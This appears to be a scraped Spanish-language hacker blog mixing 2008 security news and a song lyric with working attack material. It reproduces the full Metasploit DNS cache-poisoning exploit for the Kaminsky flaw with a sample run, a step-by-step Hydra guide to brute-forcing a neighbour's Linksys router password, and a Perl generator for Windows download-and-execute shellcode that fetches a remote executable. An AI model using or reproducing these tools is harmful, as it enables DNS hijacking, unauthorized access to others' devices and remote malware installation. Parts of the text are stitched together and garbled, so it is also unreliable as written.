BSQL Hacker es un completo Framework para realizar un test de SQL Injection.
It allows metasploit similar exploit repository to share and update exploits.
BSQL Hacker es un completo Framework para realizar un test de SQL Injection.
It allows metasploit similar exploit repository to share and update exploits.
Desde un pequeño sótano en California, el catedrático George Ledin y sus alumnos bombardean foros de Internet con spam, registrando actividad en línea e insertando aplicaciones de intrusión.
Es un día completamente normal en la clase de seguridad informática en la Universidad de Sonoma, Estados Unidos.
Este método de enseñar sobre seguridad informática es altamente controvertido, pero como el propio Ledin dice, “si no aprendes qué te agrede, ¿cómo podrás protegerte?”
Varias compañías de seguridad han declarado que no emplearan a un alumno de Ledin, precisamente debido a su educación. Ledin afirma a su vez que sus alumnos no hacen daño alguno, y que todo el hacking que sucede es en forma segura, todo sucede en una red cerrada para que nada pueda escaparse al resto del mundo.
“Conoce a tu enemigo”
“En contraste con los virus biológicos, los virus informáticos son escritos por un programador. Deseamos conocer la manera de pensar en como piensa esta persona. ¿Como aprenden ellos a escribir virus?, dice Ledin.
Sin embargo, no niega que este método se pueda ver como un pequeño ataque a McAfee, Symantec y otros programas de antivirus, que él califica en gran medida como inservibles. Ademas Ledin está en desacuerdo con lo que piensa se ha transformado en un monopolio de información en el que muchos dueños de antivirus no quieren informar acerca de los detalles de como ellos detienen un virus.
“Por qué nos vamos a distanciar de conocimiento que es importante para todos?”, pregunta Ledin, quien además no entiende que sea más peligroso estudiar sobre tecnología informática que otras materias.
“Si, puede ser peligroso para la sociedad, pero otras materias tambien pueden ser peligrosas, por ejemplo química y física”, puntualiza Ledin.
lei esta nota y me encanto, simplemente me encantaria estar hay y ademas que me recordo mucho a la raza de kernelpanic.
fuente: diarioti
El parche que corrige el grave agujero de seguridad descubierto por el hacker Dan Kaminsky fue instalado rápidamente en los servidores DNS de todo el mundo. Sin embargo, la solución no es del todo efectiva, según el físico ruso Evgeniy Polyakov, quien asegura haber inducido al parche a enviar una dirección IP falsa..
Polyakov indica que solo le tomó 10 horas descubrir el procedimiento adecuado, mediante dos PC de escritorio vinculados a una red de alta velocidad.
60% de posibilidades
El científico ruso indica que un servidor de ataques envía entre 40.000 y 50.000 respuestas falsas antes de encontrar la dirección correcta. Si el número del puerto coincide, las posibilidades de vulnerar el agujero son de 60%.
Por ahora, las grandes compañías de seguridad informática no han comentado los dichos de Polyakov, publicados por IT News.
Al parecer todavía no nos hemos librado del problema del envenenamiento remoto de DNS, ha si que no nos que da mas que seguirle dando XD.
fuente: DiarioTI
Pues si ya hace unos días nos enteramos de que el hacker Gary McKinnon posiblemente lo puede ser extraditado hacia los Estados Unidos, hace ya un tiempo que este hacker avía atacado al pentágono y algunos otros lugares gubernamentales del los E.U.
Durante seis años, Gary McKinnon ha luchado contra la extradición a Estados Unidos. En 2002 fue detenido y confesó haber intervenido en 1997 los sistemas TI de las fuerzas armadas estadounidenses y de NASA. McKinnon explicó que su única intención había sido encontrar información sobre ovnis.
Pues la neta esta cabrón, si logran extra-editarlo lo mas seguro es que pase ya toda su vida en el bote.

Como ya varios sabrán , este es quizás el problema de seguridad mas grande de lo que llevamos del año, se trata de la grave vulnerabilidad en el protocolo DNS que permite a un atacante falsificar las respuestas del servidor de nombre de dominio facilitando la suplantación de cualquier sitio en Internet.
El problema esta en el diseño de DNS y como DNS es usado en toda computadora conectada a Internet , un atacante puede aprovecharse de esta vulnerabilidad y podría fácilmente tomar control de porciones de la Internet y redirigir a los usuarios a sitios maliciosos. Se podría inclusive reemplazar sitios web completos con otros falsos, operar sobre los falsos con contenido malicioso, capturar dominios completos de e-mail, redirigir el trafico a otros sitios, y una cantidad de cosas mas.
Realmente es un problema grande, compañías de ISP’s lo an estado pasando por alto, simplemente e encontrado dos compañías de ISP’s aquí en México que se prestan a esta clase de ataques.
Puedes entrar a verificar si eres vulnerable en estas dos paginas:
http://www.doxpara.com/ —> Autor de la vulnerabilidad
https://www.dns-oarc.net/files/
También puedes ver una lista de varios sistemas posiblemente afectados.
http://www.kb.cert.org/vuls/id/800113
Ahora dejare el exploit y un ejemplo de el para correrse con el framework de metasploit.
También puedes darte una vuelta a http://www.milw0rm.com
hay encontraras los exploits para “py” y para “c” .
/ \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######\ \/ /#| |##| |#| |##| |######======------ \____/ |__| |__| \______/ Computer Academic Underground http://www.caughq.org Exploit Code ===============/======================================================== Exploit ID: CAU-EX-2008-0003 Release Date: 2008.07.23 Title: bailiwicked_domain.rb Description: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains Tested: BIND 9.4.1-9.4.2 Attributes: Remote, Poison, Resolver, Metasploit Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.txt Author/Email: I)ruid <druid (@) caughq.org> H D Moore <hdm (@) metasploit.com> ===============/======================================================== Description =========== This exploit targets a fairly ubiquitous flaw in DNS implementations which allow the insertion of malicious DNS records into the cache of the target nameserver. This exploit caches a single malicious nameserver entry into the target nameserver which replaces the legitimate nameservers for the target domain. By causing the target nameserver to query for random hostnames at the target domain, the attacker can spoof a response to the target server including an answer for the query, an authority server record, and an additional record for that server, causing target nameserver to insert the additional record into the cache. This insertion completely replaces the original nameserver records for the target domain. Example ======= # /msf3/msfconsole ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## =[ msf v3.2-release + -- --=[ 298 exploits - 124 payloads + -- --=[ 18 encoders - 6 nops =[ 73 aux msf > use auxiliary/spoof/dns/bailiwicked_domain msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D RHOST => A.B.C.D msf auxiliary(bailiwicked_domain) > set DOMAIN example.com DOMAIN => example.com msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com NEWDNS => dns01.metasploit.com msf auxiliary(bailiwicked_domain) > set SRCPORT 0 SRCPORT => 0 msf auxiliary(bailiwicked_domain) > check [*] Using the Metasploit service to verify exploitability... [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] FAIL: This server uses static source ports and is vulnerable to poisoning msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D [*] exec: dig +short -t ns example.com @A.B.C.D b.iana-servers.net. a.iana-servers.net. msf auxiliary(bailiwicked_domain) > run [*] Switching to target port 50391 based on Metasploit service [*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com [*] Querying recon nameserver for example.com.'s nameservers... [*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net. [*] Querying recon nameserver for address of b.iana-servers.net.... [*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236 [*] Checking Authoritativeness: Querying 193.0.0.236 for example.com.... [*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as [*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net. [*] Querying recon nameserver for address of a.iana-servers.net.... [*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43 [*] Checking Authoritativeness: Querying 192.0.34.43 for example.com.... [*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as [*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391... [*] Sent 1000 queries and 20000 spoofed responses... [*] Sent 2000 queries and 40000 spoofed responses... [*] Sent 3000 queries and 60000 spoofed responses... [*] Sent 4000 queries and 80000 spoofed responses... [*] Sent 5000 queries and 100000 spoofed responses... [*] Sent 6000 queries and 120000 spoofed responses... [*] Sent 7000 queries and 140000 spoofed responses... [*] Sent 8000 queries and 160000 spoofed responses... [*] Sent 9000 queries and 180000 spoofed responses... [*] Sent 10000 queries and 200000 spoofed responses... [*] Sent 11000 queries and 220000 spoofed responses... [*] Sent 12000 queries and 240000 spoofed responses... [*] Sent 13000 queries and 260000 spoofed responses... [*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com [*] Auxiliary module execution completed msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D [*] exec: dig +short -t ns example.com @A.B.C.D dns01.metasploit.com. Credits ======= Dan Kaminsky is credited with originally discovering this vulnerability. Cedric Blancher <sid (@) rstack.org> figured out the NS injection method and was cool enough to email us and share! References ========== http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447 http://www.kb.cert.org/vuls/id/800113 Metasploit ========== require 'msf/core' require 'net/dns' require 'scruby' require 'resolv' module Msf class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary include Exploit::Remote::Ip def initialize(info = {}) super(update_info(info, 'Name' => 'DNS BailiWicked Domain Attack', 'Description' => %q{ This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target domains nameserver entries in a vulnerable DNS cache server. This attack works by sending random hostname queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for that domain. Eventually, a guessed ID will match, the spoofed packet will get accepted, and the nameserver entries for the target domain will be replaced by the server specified in the NEWDNS option of this exploit. }, 'Author' => [ ' I)ruid', 'hdm', # 'Cedric Blancher <sid[at]rstack.org>' # Cedric figured out the NS injection method # and was cool enough to email us and share! # ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 5591 $', 'References' => [ [ 'CVE', '2008-1447' ], [ 'US-CERT-VU', '8000113' ], [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ], ], 'DisclosureDate' => 'Jul 21 2008' )) register_options( [ OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']), OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]), OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]), ], self.class) end def auxiliary_commands return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } end def cmd_check(*args) targ = args[0] || rhost() if(not (targ and targ.length > 0)) print_status("usage: check [dns-server]") return end print_status("Using the Metasploit service to verify exploitability...") srv_sock = Rex::Socket.create_udp( 'PeerHost' => targ, 'PeerPort' => 53 ) random = false ports = [] lport = nil 1.upto(5) do |i| req = Resolv::DNS::Message.new txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") t_port = t_port.to_i if(lport and lport != t_port) random = true end lport = t_port ports << t_port end end end end srv_sock.close if(ports.length < 5) print_status("UNKNOWN: This server did not reply to our vulnerability check requests") return end if(random) print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") print_status(" This server may still be exploitable, but not by this tool.") else print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") end end def run target = rhost() source = Rex::Socket.source_address(target) sport = datastore['SRCPORT'] domain = datastore['DOMAIN'] + '.' newdns = datastore['NEWDNS'] recons = datastore['RECONS'] xids = datastore['XIDS'].to_i newttl = datastore['TTL'].to_i xidbase = rand(20001) + 20000 address = Rex::Text.rand_text(4).unpack("C4").join(".") srv_sock = Rex::Socket.create_udp( 'PeerHost' => target, 'PeerPort' => 53 ) # Get the source port via the metasploit service if it's not set if sport.to_i == 0 req = Resolv::DNS::Message.new txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') sport = t_port.to_i print_status("Switching to target port #{sport} based on Metasploit service") if target != t_addr print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") end end end end end # Verify its not already poisoned begin query = Resolv::DNS::Message.new query.add_question(domain, Resolv::DNS::Resource::IN::NS) query.rd = 0 begin cached = false srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == domain and data.name.to_s == newdns) t = Time.now + ttl print_status("Failure: This domain is already using #{newdns} as a nameserver") print_status(" Cache entry expires on #{t.to_s}") srv_sock.close disconnect_ip return end end end end until not cached rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") end res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}" # Look up the nameservers for the domain print_status "Querying recon nameserver for #{domain}'s nameservers..." answer0 = res0.send(domain, Net::DNS::NS) #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" barbs = [] # storage for nameservers answer0.answer.each do |rr0| print_status " Got an #{rr0.type} record: #{rr0.inspect}" if rr0.type == 'NS' print_status " Querying recon nameserver for address of #{rr0.nsdname}..." answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" answer1.answer.each do |rr1| print_status " Got an #{rr1.type} record: #{rr1.inspect}" res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." answer2 = res2.send(domain) if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 nsrec = {:name => rr0.nsdname, :addr => rr1.address} barbs << nsrec print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end end end if barbs.length == 0 print_status( "No DNS servers found.") srv_sock.close disconnect_ip return end # Flood the target with queries and spoofed responses, one will eventually hit queries = 0 responses = 0 connect_ip if not ip_sock print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...") while true randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new req.id = rand(2**16) req.add_question(randhost, Resolv::DNS::Resource::IN::A) req.rd = 1 buff = ( Scruby::IP.new( #:src => barbs[0][:addr].to_s, :src => source, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => (rand((2**16)-1024)+1024).to_i, :dport => 53 )/req.encode ).to_net ip_sock.sendto(buff, target) queries += 1 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address)) req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns))) req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored req.qr = 1 req.aa = 1 xidbase.upto(xidbase+xids-1) do |id| req.id = id barbs.each do |barb| buff = ( Scruby::IP.new( #:src => barbs[i][:addr].to_s, :src => barb[:addr].to_s, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => 53, :dport => sport.to_i )/req.encode ).to_net ip_sock.sendto(buff, target) responses += 1 end end # status update if queries % 1000 == 0 print_status("Sent #{queries} queries and #{responses} spoofed responses...") end # every so often, check and see if the target is poisoned... if queries % 250 == 0 begin query = Resolv::DNS::Message.new query.add_question(domain, Resolv::DNS::Resource::IN::NS) query.rd = 0 srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == domain and data.name.to_s == newdns) print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}") srv_sock.close disconnect_ip return end end end rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") end end end end end end # milw0rm.com [2008-07-23]
Esto mas que nada es un “tipo” de manifiesto, ya que hace bastante tiempo que escuche esta canción y le tome comparativa con las personas que tienen software privativo y/o lo usaron y no sabían a donde mas acudir.
La tome mas como metáfora entre la rola y esto que es el movimiento del SL.
Más Allá.
Sólo una boca y dos oídos no les parece señal,
lo primero es escuchar y luego hablar.
Empecinados en que sólo puede haber una opinión,
el primero de los sentidos es la razón
Quizás un día encuentre a alguien que me lleve a otro lugar,
sin mentiras, falsedades, ignorancia y mezquindad…
Saben de todo, creen en nada y no quieren comprender…
sólo sé que no sé nada, eso sé.
Todo lo juzgan, lo manejan a su antojo y decisión.
Este mundo no es mi mundo… ¡es mi prisión!
Quizás un día encuentre a alguien que me lleve a otro lugar,
sin mentiras, falsedades, ignorancia y mezquindad…
Llévame donde nadie me haga callar,
donde pueda pensar con libertad.
Expresarme y dar mi opinión,
sin que nadie me pueda juzgar, sin que nadie me quiera juzgar…
¡Más allá de los límites del bien y del mal!
¡Más allá!
Llévame, llévame, llévame…
Llévame donde nadie me haga callar,
donde pueda pensar con libertad.
Expresarme y dar mi opinión,
sin que nadie me pueda juzgar, sin que nadie me quiera juzgar…
Llévame donde nadie me haga callar,
donde pueda pensar con libertad.
Expresarme y dar mi opinión,
sin que nadie me pueda juzgar, sin que nadie me quiera juzgar…
Aquí dejo la rola.
Aquí les mostrare como auditar la contraseña del router del vecino, en este caso un WRT54G linksys.
Lo único que necesitamos son 2 cosas :
1- Hydra brute force —> http://freeworld.thc.org/thc-hydra/
2- Un password list —> Usare el que nos da MilW0rm en http://www.milw0rm.com/mil-dic.php
En backtrack ya viene hydra es cosa nada mas de tener un buen passwd.list.
Bien una vez que tengamos hydra ya con todo y su GTK y el diccionario de Milw0rm, pues nos ponemos a darle.
1- Pestaña de target.
Primero seleccionamos la ip del roouter, después seleccionamos el protocolo de HTTP-GET y por ultimo la casilla de “BE VERBOSE”.
2- Pestaña de passwords.
Primero le indicamos el “username”, en nuestro caso linksys, despues seleccionamos la casilla de “passwordlist” y en el textbox le decimos donde esta nuestro archivo de passwords, por ultimo seleccionamos las dos ultimas casillas de “try login as password” & “try empty password”.
3-Pestaña de Tuning
En esta pestaña aumentamos el “Number of tasks” aproximadamente a 70, despues seleccionamos la casilla de “exit after firstfound pair”.
4-Pestaña de specific.
La dejamos tal y como esta.
5-Pestaña de start
Ya lo ubico que queda por hacer es darle al botón de start para que empiece a verificar.
Después de esto esperaremos un rato en lo que el ataque termina, y si todo salio bien tendremos el password del router en nuestra manos.
Me en contado con este link donde le tiran al ubuntu.
Chekense
hay digan me que opinan al respecto.
Pues si el día de ayer nos reunimos kernelpanic en 4 caminos pueden ver la reseña en :
Otro mas Bastante bueno XD
#!/usr/bin/perl
$loading_url=$ARGV[0];
chomp ($loading_url);
my @buffer;
if ($loading_url eq “”) {
$sco = ‘ERROR!!! Enter url to remote exe.’;
buffer_gen($sco);
print @buffer;
exit;
}
$c= generate_char(0);
$sco= “\xE8\x56\x00\x00\x00\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45″.
“\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB”.
“\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38″.
“\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75″.
“\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB”.
“\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08″.
“\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x5B\x1C\x8B”.
“\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x89\xC7\x53″.
“\x68\x8E\x4E\x0E\xEC\xFF\xD6\xEB\x50\x5A\x52\xFF\xD0\x89\xC2″.
“\x52\x52\x53\x68\xAA\xFC\x0D\x7C\xFF\xD6\x5A\xEB\x4D\x59\x51″.
“\x52\xFF\xD0\xEB\x72\x5A\xEB\x5B\x59\x6A\x00\x6A\x00\x51\x52″.
“\x6A\x00\xFF\xD0\x53\x68\xA0\xD5\xC9\x4D\xFF\xD6\x5A\x52\xFF”.
“\xD0\x53\x68\x98\xFE\x8A\x0E\xFF\xD6\xEB\x44\x59\x6A\x00\x51″.
“\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\xFF\xD0\xE8″.
“\xAB\xFF\xFF\xFF\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00″.
“\xE8\xAE\xFF\xFF\xFF\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61″.
“\x64\x54\x6F\x46\x69\x6C\x65\x41\x00\xE8\xA0\xFF\xFF\xFF\x2E”.
“\x2E\x5C”.$c.”\x00\xE8\xB7\xFF\xFF\xFF\x2E\x2E\x5C”.$c.”\x00″.
“\xE8\x89\xFF\xFF\xFF”.$loading_url.”\x00″;
$sco=convert_sco($sco);
buffer_gen($sco);
print @buffer;
sub generate_char()
{
my $wdsize = shift;
my @alphanumeric = (’a’..’z');
my $wd = join ”,
map $alphanumeric[rand @alphanumeric], 0..$wdsize;
return $wd;
}
sub convert_sco {
my $data = shift;
my $mode = shift() || ‘LE’;
my $code = ”;
my $idx = 0;
if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}
while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$code .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}
return $code;
}
sub buffer_gen(){ Win32 Download and Execute Shellcode Generator (browsers edition) Usage: ./sco http://remote_server/loader.exe Greetz to: -------> Start $sco ——-> End } # milw0rm.com [2008-03-14]
$sco = shift;
@buffer=<
Size: 275 bytes + loading_url
Author: Yag Kohha (skyhole [at] gmail.com)
str0ke \& milw0rm project
shinnai
h07
rgod
H.D. Moor \& Metaspl0it
offtopic
3APA3A
FX